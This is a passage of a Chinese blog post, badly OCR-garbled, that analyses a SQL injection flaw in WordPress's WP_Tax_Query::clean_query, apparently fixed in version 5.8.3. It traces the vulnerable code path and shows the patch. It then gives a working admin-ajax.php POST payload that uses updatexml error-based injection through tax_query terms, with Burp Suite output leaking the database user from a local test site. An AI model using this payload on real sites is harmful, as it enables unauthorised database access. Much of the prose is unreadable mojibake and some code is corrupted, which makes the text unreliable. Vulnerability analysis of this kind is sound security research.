2% 4. SQL HENIETH

3 P A F 2022-02-23 14:47:20 K Hi 8636 Wi, 84
NERS: web%4: sql 24 P24 BiFE K
RRALE B : A SCAHEEEAISCE, BAE CC 4.0 BY-SA FRAUIMY, #8iEMH LR SCH A SEMA R,

A CHERE: https://blog.csdn.net/kali_Ma/article/details/123088863
AL

WordPress & — AN PHP i B AR HFIRN A ETHERA, BT clean_query MM AR Y, ST AT AL 34 2 £ B LA E A
75 Ml & sQL NI GL. X LA TE WordPress5.8.3 T T1EE . MARAT LUEHIE 3.7.37 .

. WHRTH

ENTEMNREZH, EAWUE— T REEMAZIFRE, KRN ZRT AT,

new WP_Query($_POST[ 'query_vars'])

XWE R YL, A wp_Query KIZHUINRATIEKITE, BLAT AR A ZIRIH . 8T RBAVEF BRI KIF A -

WP_Query:: construct
WP_Query::query

WP_Query::get posts
WP_Tax_Query::get_sql
WP_Tax_Query::get sql clauses
WP_Tax_Query::get sqgl_for_query

WP_Tax_Query::get_sql_for_clause

WP_Tax_Query::clean_query

BEEFRMBERE, &GRS T wp_Tax_Query B clean_query J7ik:

X @@ -556,7 +556,11 @@ private function clean_query{ &fquery )
5t return;
-

558 - $query["terms'] = array_unique( (array) $query['terms’'] );

558 + if { 'slug’ === $query['field'] || ‘name’' === $query['field'] ) {

360 4+ $query[ 'terms'] = array_unique( (array) $query['terms'] };

561  + } else

562 & $query["terms’] = wp_parse_id list( Squery['terms'] );

563+ }

0 4

Bl 263 if ( is_taxonomy hierarchical({ $query['taxonomy'] ) && $query[’include children'] ) {
b2 2bb $this-»>transform_gquery( $query, 'term_id" };
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7. 2T HA

8. MMM AL

WIERF R R, BRAIFIER R WwP_Tax_Query::clean_query BRE B ER A HMUCHIRL, RESET soL iBFMHE, #m
S8 T sqL IENIRIF

BT BTN, BATEERHRER WP_Tax_Query::get_sql_for_clause AR LW, XA RIER AR —
MNEEG EXANEHS, FHBT clean_query HIEXMENKSEEHIT TRIKIT SEALH

get sql for clause( &$clause, $parent query ) {
$wpdb;

$sql = array(
vhere' => array(),
‘join® => array(),

);

$join =
$where =
->clean _query( $clause );

if ( is_wp_error( $clause ) ) {
return ::$no_results;

h

GEEEZITE T HKARL, BATTLAIE itens BERAHERE T soL BT,


https://shimo.im/docs/C9WxVrD6V3tGcjgQ/

—>cleaﬁ_query( $clause );

it ( is wp error( $clause ) ) {
return ::$no results;

}

$terms = $clause[ "terms"];
foperator = strtoupper( %clause| operator'] );
if ( "IN" === $operator ) {

if ( empty( $terms ) ) {
}

$terms = implode( ',", $terms );

$alias ->tind compatible table alias( $clause, $parent query );
if ( === $alias ) {
}

$where = "$alias.term taxonomy id $operator ($terms)”;

ZIRARARBEMNARRRIXA items B&E, WREBEHXANMEEMERNE, STLSBTEN.
HIE TR RRALE, MERMNERMZEST—T. BARANERRRLEZXAFEFH:
new WP_Query($_POST[ 'query_vars'])

IR wp_Query Xt RHIME Y, FIEHIEAT query . TE WP_Query::query 1, A T wp_parse_args BREFTHNKIF
FFER AT T AL 2R

function wp_parse_args( $args, $defaults = array() ) {

if ( is_object( $args ) ) {

$parsed_args = get_object_vars( $args );

} elseif ( is_array( $args ) ) {

$parsed_args =& $args;

} else {

wp_parse_str( $args, $parsed_args );

}

if ( is_array( $defaults ) && $defaults ) {
return array_merge( $defaults, $parsed_args );

}

return $parsed_args;

}

EXEFFEREREHEAN S, —NROBEANEZ DN RIE, BEEELNER RS REHAE; MREBEANNRAHTN
iE, R BEERET . XEWHBAE $this->query_vars Ml $this->query BEFIET .

ETRIAA get_posts Tk, ZMEMAEI LA, BATEEE AL IR o £




if (! -»is_singular ) {{
-»parse_tax_query( %q );

$clauses = ->tax_query->get sql( $wpdb-»>posts, 'ID' );

$join .= $clauses
$where .= $clauses

[*join' 3
[ "where' ];

-»is_tax ) {
( empty( $post_type ) ) {

AR $this->is_singular FIIEHZ JGN false , ATLAXER if ERRSHATH, W NHE K $this->parse_tax_query($q) &
f), BR#EE, HEMR/ATE $this->tax_query BE, HAEN WP_Tax_Query EXFRFIXT R, R FIHMENE ¢q FE, XFTizXt
BT T — GGk, XEREME sqTE, RN LEW, BF — T ZZENERTE:

&$this->query_vars;

$this->fill query vars( $q );

B $q BEIRE $this->query_vars , i FHEIFIST, BAVFEXANTERZATER, WHRRITEDL PosTEANSHE. B
TRWHA fill_query_vars F¥%E, HRERSRIMXANREREN $q XMHABRRBMT —L& key H. BRATATEMEAN—ANEA,
SRJG var_dump HREE:

‘! Burp Suite Professional v2.1.07 - Temparary Project - licensed to google [m] e

Bup Project Intruder Repeater 'Window Auth Aralyzer Help

"Dashboard ] Target | Promy | intruder | Repeater | Sogquencer | Decoder | Comparer | Estonder i Froject options | User options | Auth Analyzer [ Autorize |

=

Send | < v Target: htpui27.00.1 7 (2)
Request Response
JR!.N] Params | Haaders | Hex | RHWTHHH.dEI! IHE! | Rernder |
FLET fap-adaindadmin-a j f11 . Array &
Hest: 127.0.4, r [ ————— r
User-fgent: illa/5. 0 (Windows 1000, Winfd, =64, xvi95, 0) Geckos20L0010L [a] =» 1
Firefox/95. [ [b] =» 2
Acgapt: [exzer] => \
fhtwl, apglications shiul+awl, spplicatioofoul =0, 8, luagefavil, lnage/webp, #/* [m] => -
B [p]l => 0
cept-Language: zh-CN. zh; =0, &, z2h-TW q-0. 7, sh-HE; g=0. 5, en-8; g0, 3, &n; =0, 2 [post_parent] =3
pt-En ! zzip, deflate [subpost] =2
et iar [suhpu:t_ld] =3
Upgrade-Ir te: 1 [attachment] =3 i
1 [attachment_id] =3 0
[nams] =>
[pagename] =3
fatch-lsar: 7 [page_id] =» 0
ent-Trpe: applications-wew-Jorm-ur lencghled [secend] =»
Comtent-lenpth: 43 [minute] =3
[hour] =»
action=assakfiuery_vars [a]=lhauery_vars[bl=2 | [day] = 0
[monthrum] => 0
[year] => 0
[w] =» 0
[category_name]l =
[tag] =>
[:nt: =k
[tag_id] =»
L [authar] => L
" [author_name] =» v
l'\f) | < | + I| > | chb8%Ge%Nba a0 NTANIeN22 NN TdRTdNTd%: O matches (51 < ' > | |Ty¥pe & =88 & 0 matches

Dane 2,355 bytes | 240 mills



BT RBEN $this->parse_tax_query($q) ZNERBEF . ZREMABIENN $q A, REMES stax_query BE, RF
FI A iZ 2 & EVIEL TR $this->tax_query = new WP_Tax_Query( $tax_query ); » fE parse_tax_query B, BIIFE
4 $tax_query R EBIMRME, MFEFEEARBAPWE tax_query XANKREFNH] . RATWHI XN LMW ERBEES: (HH
T RL T AR $q BERMEMERT Wp_Tax_Query X RIIHE R E I S50 1E)

__construct( $tax _query ) {
if ( isset( $tax query['relation'] ) ) {
->relation = ->sanitize_relation( $tax_query['relation’] );

->relation = '

->queries = ->sanitize query( $tax query );

T LAE B $this->queries ZERMERH $tax_query BEBRK, RATXEMT —idyE, BIEMHT sanitize_query %
TT b,

FXE, BATHMHNRT wp_Tax_Query 28, FFHIRATAILAEHIME NIXA R ER BN SEE. BT REEXAIE R HH T
NS EEM T Wb 3, Wt RIXA sanitize query B%: (X B REICEEEST)

elseif ( self::is_first_order_clause( $query ) ) {

$cleaned_clause = array_merge( $defaults, $query );

$cleaned_clause[ 'terms'] (array) $cleaned_clause[ 'terms'];

$cleaned_query[] = $cleaned_clause;

if ( ! empty( $cleaned_clause[ 'taxonomy'] ) & 'NOT IN' !== $cleaned_clause[ 'operator'] ) {
$taxonomy = $cleaned_clause[ 'taxonomy'];

if (! isset( $this->queried_terms[ $taxonomy ] ) ) {

$this->queried_terms[ $taxonomy ] = array();

)i
if ( ! empty( $cleaned_clause['terms'] ) && ! isset( $this->queried_terms[ $taxonomy ]['terms'] ) ) {
$this->queried_terms[ $taxonomy ]['terms'] = $cleaned_clause['terms'];

}

if ( ! empty( $cleaned clause['field'] ) && ! isset( $this->queried_terms[ $taxonomy ]['field'] ) ) {
$this->queried_terms[ $taxonomy ]['field'] = $cleaned_clause['field'];

EATEHNBNIXA if 15, BFEEIEE is_first_order_clause B%l:

protected static function is_first _order_clause( $query ) {

return is_array( $query ) &% ( empty( $query ) || array_key exists( 'terms', $query ) || array_key exists( 'taxo|
nomy', $query ) || array_key exists( 'include_children', $query ) || array_key exists( 'field', $query ) || arra
y _key exists( 'operator', $query ) );

¥

XA RBULE R B, MR FEEANNEIEEDL foreach BRZJG, MAR—IMHH, HRREANTER - Z4H4H, HEF
U ey H. (N ERIHEKTEEMEAN tax_query XEH, FXEMTFEEANZ =454

B FEATEZS] terms FIME, FTUMENK terms WER— A, MR NI EELEH terms H, FEEN—ADTUESHA, Bl
T PoST HUiR:

query vars[tax_query][1][include_children]=1&query vars[tax_query][1][terms][1]=AND




AV X B H7— T XA posT KIBE. HARE— tax_query , AT HES $tax_query REMME, RERXEMT —
M RATHEZERA, AL Z)E, B EEIXA foreach BUHKRZJE, B — A, NMHE T $this-

>queries , FHHETRMNFTERES terms {6, $cleaned clause['terms'] = (array) $cleaned clause['terms']; RLZEMNIF
BAEN—ABUEHRIFIT merge BMBFIBI NI AR . BALL LB ZE, $this->queries HIERN:

Array

(
[1] => Array

(

[include_children] => 1

[terms] => Array

(
[1] => AND
)
)

)

LA B TR RAERI G646 WP_Tax_Query XMW R . & TFRYLEM T4, FTFa6HM wp_Tax_Query::get_sql 5%, REHM
T WP_Tax_Query::get _sql clauses Jik:

get sql clauses() {

$queries ->queries;
$sqgl ->get sql for query( $queries );

if (! empty( $sql[ 'where’] ) ) {
$sql[ 'where'] = ' " . $sql[ 'where'];

1
J

return $sql;

ZJ5¥ $this->queries ZBEMEEN get_sql_for_query H%l, RATGSEIRFE —TXNRE:



foreach ( $query as $key => &%clause ) {
if ( 'relation’ === $key ) {
$relation = $query|[ 'relation’];
} elseif ( is_array( $clause ) ) {

if ( ->is_first order_clause( $clause ) WY
$clause sqgl = ->get _sql for clause("%clause, $query );

$where_count = count( $clause_sql[ ‘where'] );
if (! $where _count ) {
$sql_chunks['where'][] = '";
} elseif ( 1 === $where_count ) {
$sql _chunks[ ‘where' ][] = $clause_sql[ ‘'where'][0];

WRBATEE A get_sql_for_clause FiEMIE, BT ENENKEIEHIT—NEH, XEMCBIET is_array($clause) 15
A, RN, RIMBEIHEE, XEFEEAN—ANTHHA, #iN%HIT X /N4 B¢ B E5H
/B is_first_order_clause BR#(, PRULEATIEE EHPIMES RE R DAIATRIIX B, HEXER $clause FIEA:

array(5) {
["taxonomy" ]=>

string(3) "AND"

}

["field"]=>

string(7) "term_id"
["operator"]=>
string(2) "IN"
["include_children"]=>
string(1) "1"

}

B TRBUBEAN T get_sql_for_clause %L, WElERMNFAPE soL IBFAMHL Y, (EESEZ /I, RITFES:
i clean_query %, BATBHBXN RBEE:

clean_query( &$query ) {
if ( empty( $query['taxonomy'] ) ) {
gt ( 'term taxonomy id® !== $query['field'] ) {
fquery = WP_Error( 'invalid taxonomy', ( 'Invalid taxonomy.' ) );
return;

$query[ 'include children’] = ;
} elseif ( ! taxonomy exists( $query['taxonomy'] ) ) {

$query = WP_Error( 'invalid taxonomy', ( 'Invalid taxonomy.' ) );

return;

}

$query[ "terms'] = array_unique( ( ) $query[‘terms'] );




EXEANTALbREERE, ROFERMN—A field 7B, LHESET term_taxonomy_id BIH], #i&iEHRRN:

action=aa&query vars[tax_query][1][include_children]=1&query vars[tax_query][1][terms][1]=AND&query_vars[tax_que

ry][1][field]=term_taxonomy_ id

FHAERBWERE, WHT $this->transform_query( $query, 'term taxonomy id' ); , FATERBEZ:, EIFHIE field HIME,
M return , Bhid T 5 TH AT ERLE:

transftorm query( &$query, $resulting field ) {
it ( empty( $query[ 'terms’'] ) ) {
return;
}

if ( $query['field'] == $resulting field ) {
return;

1

J

BT RER soL BEAMBHET, WIBRATHIEN operator IAFEME, BAWERERZ IN T, #ITARRAKPHZERE, X8
& IN, FATHNBIXA if iBF]:

$terms = $clause| "terms'];
$operator = strtoupper( $clause['operator’] );
if ( "IN' === $operator ) {

if ( empty( $terms ) ) {

$terms = implode( ',', $terms );

$alias ->find compatible table alias( $clause, $parent query );
if ( === $alias ) {

\

J

$where = "$alias.term t nomy id $operator ($terms)”;

} el == $operatorl) {

FATTE terms AbH)E HREETENARAL BT

action=aa&query_vars[tax_query][1][include_children]=1&query_vars[tax_query][1][terms][1]=AND&query_vars[tax_que

ry][1][field]=term_taxonomy_id

HUTH B2 BT8R 2 A Bl — 22— B HAT 2 get_sql_for_clause EANERE, FENBTEANZANRBEE L MAESR. BT
SRk 2 IR = EE R

1E get_sql_for_clause XA REH, WA T clean_query HIEMNBATMIERSIEIHIT T —NET, RERHHEPH terms {H,
WAT sQL HHEIEAIF, payload WIF:



query_vars[tax_query][1][include_children]=1&query vars[tax_query][1][terms][1]=1) or updatexml(©x7e,concat(1,us

er()),0x7e)#&query vars[tax_query][1][field]=term taxonomy id

B! Gurp Suite Professional v2,1.07 - Temporary Project - licensed to google - ] x
Burp Project Intruder Repeater Window Auth Analyzer Help
| Dashboard | Target | Proxy | Intruder |Repeal.et Sequencer ] Dlecoder |Corroalcr | Extender | Project options | User aptions l!\\uth Analvzer I.l’\uturim |

Jaal |

[ send <|v | Target: http:1127.00.1 7 (7)
Request Response
JRawl Params l Headers ]Hex | N Raw]Headers Heat [Render |
POST fwp-ac “mira jax pho HITP/L. 1 ) ["include_children”]=> 3
Host: i string{l) "17 i
Uzer-Agent: illaf3 rvid6, 0} Gecke/20 f
Ancapt! app iml - q=0. 9, imgafarit, L8 RIXTXXIXTTXXIXTXxIWp_term relationships. term_taza
i, zh; g=0. 8, =h-TW,; g=0. 7 1.5, en-US; q=0. 3, en; g=0. ° nomy_id IN (1) ar
Accept-Er def late updatexml (0x7e, concat(]l, user ()}, 0xTe)#)<div
Upgrade- | id="error”
Sec-Fetch class="wpdberror >istrong ‘NordPress BB M HYm: </str
Sac-Fetch ang [XPATH syntar error:
Sec-Fetch-8: E#039; reat@localhostBR#03%; ]<br /><code>SELECT
Sec-Fetch-1 SQL_CALC_F9O ROWS wp_posts. ID FROM wp_posts
Fragma: no- LEFT JOIN g term relaticnships ON (wp_posts. ID
Cache-Contr cache = wp_terpfrelationships. chject_id) WHERE 1=1
Content T 21ication/z—wwe formn lencoded AND
Content-Lenpth: 183 wp erm relationships. term_tazonomy_id IN (1)
or Apdatexml (0xTe, concat (], user ()}, 0xTe)¥)
act lon=aaks vars tax_query | [ 1][include_cl |=1Bquery_varsltax_guery! [L] [terms] [1]=1) ox AND wp_posts. post_type IN (R#039:postR#039;,
updater zatil user(}), OxVel 2kquery_vars _query] [11[field]=term _tax id E#039; pagek#039;, &F039;attachmenth#030;) AND
(wp_posts. post_status = E#039;publich&#036; OR
wp_poste. post_status = ER039; futur«&503%; OR
wp_posts. post_status * ER039;draft&¥039; OR
wp_posts. post_status = &8039; pendingk#039;)
GROUF BY wp_posts. ID ORDER BY
wp_posts. post_date DESC LIMIT 0,
104/ cade >4 fpfdiv0
- 4
¥ L4
® l | (i = | Type a ssarch lem 0 malches G:I < ||+ |l > vpe a saarch ler 0 malchas
Done 2,058 bytes | 210 milis

=. FHAEHN

FIX B new WP_Query($_POST[ 'query_vars']) B E)HE F wp-admin\admin-ajax.php H: (FEXLRRHET, REZLABAT
¥, BPWTiE AR soL VEANIRTRD

( ! has_action( "wp aj nopriv_{$action}" ) ) {
wp_die( ‘@', 400 );

HEIHIRERITJE— T debug BIATE RIREEAN (WATLLHITEET) ; BENHWEIEAR: (GXEME action ZHREN T HIT
2 H D

action=aa&query vars[tax_query][1][include_children]=1&query vars[tax_query][1][terms][1]=1) or updatexml(@x7e,c

oncat(1,user()),0x7e)#&query vars[tax_query][1][field]=term_taxonomy id




W Burp Suite Professional v2,1.07 - Temporary Project - licensed ta google
Gurp Progect Intiuder Repeater \Window Auth Analvzer Help

| Dashboard | Target | Prowy | Inruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User aptians | Auth Anayzer | Autorize |

Tl

Send Cances < | > |

Target: http:127.004 7 (7)

Request Response
v
| Raw | Params | Headers | Hex | | Raw | Headers | Hex | Render |
POST /wp-adain/admin-ajas. php HTTP/L 1 0 ["include_children™]=> [
Host: 127.0.0.1 I string(1) "17 I
Uzer-Agent: Mozilla/5.0 (Windows NT 10, 0; WinB4; =64 rvi96. 00 Gecke/ZDI0DLDL Firefox/96.0
Accept: text/html, application/zhtmlizn], applicationfzml q=0. 9, imgaavif, tmageSwabp, */% q=0. & REXEINEXTIXEXTXTINP_term_relaticnships. term_taxo
Accept-Langpuage: zh-(N, zh; q=0. 8, =h-TW; g=0. 7, zh-I& ;5={. 5, en-U5; g=0. 3, en; g=0. 2 nomy_id IN (1) or
Accept-Encoding: szip, deflate updatexml (0xTe, concat(l, user()), OxTal¥)div
Upgrade-Inseciwe-Requesta: 1 id="errar " p
Sec-Fetch-Dezti decumsnt class="spdberror " istrong NordPress MIBHER: otr
Sac-Fatch-Mods: navigate ang> [XPATH syntax error:
Sec-Fetch-51te: E#039: root@lecalhostB#038: ]<br /3<codeSELECT
Sec-Fetch-User: 71 SQL_CALC_FO 0FS wp_postis. ID FROM wp_posts
Pragma: no-cache LEFT JOIN g term relaticnships 0N (wp_posts. ID
Cache-Contrel: nme-cache = wp_tergfrelationships. chject_id) WHERE 1=1
Comtent-Type! licatian/s—wew—formnr lencoded AND
Content-Lenpth: 183 wp Aerm_relationships. term_taxonemy_id IN (1)
or Apdatexml(0xTe, concat (1, user ()}, 0xTel #)
action=aakguery_vars | taz_query)[1][include_children|=1Rquery_vars|tax_guery) (1] [terms] 1]=1} ar AND wp_posis. post_type IN (RH039;posth#039;,
updatexml(Dxie, concat(l, useri)), 0x7e) 2kquery_vars[taz_query][1][fiald]=tern_tazenemy_id EH03Y; pagek#03Y;, ER039;attachment&d039;) AND
(wp_posts. post_status = E#039;publishE&#03%; OR
wp_postE. post_status = ER039; future&#038; OR .
wp_posts. post_status = BR039; draftk#039: OR
®P_posts. post_status = &R039; pendingh#039;)
GROUF BY wp_posts. ID ORDER BY
wp_posts. past_date DESC LIMIT 0,
104 cades < fpd fdiv-0
3 "y
r L
0 malches @ |i“ + ‘t] Type a saarch lerm 0 malches

@ IZJ E_l E Type & ses

Done

. R
BRMELRNEFIRA, RERBENNEETR, QTES.

2,058 bytes | 210 milis
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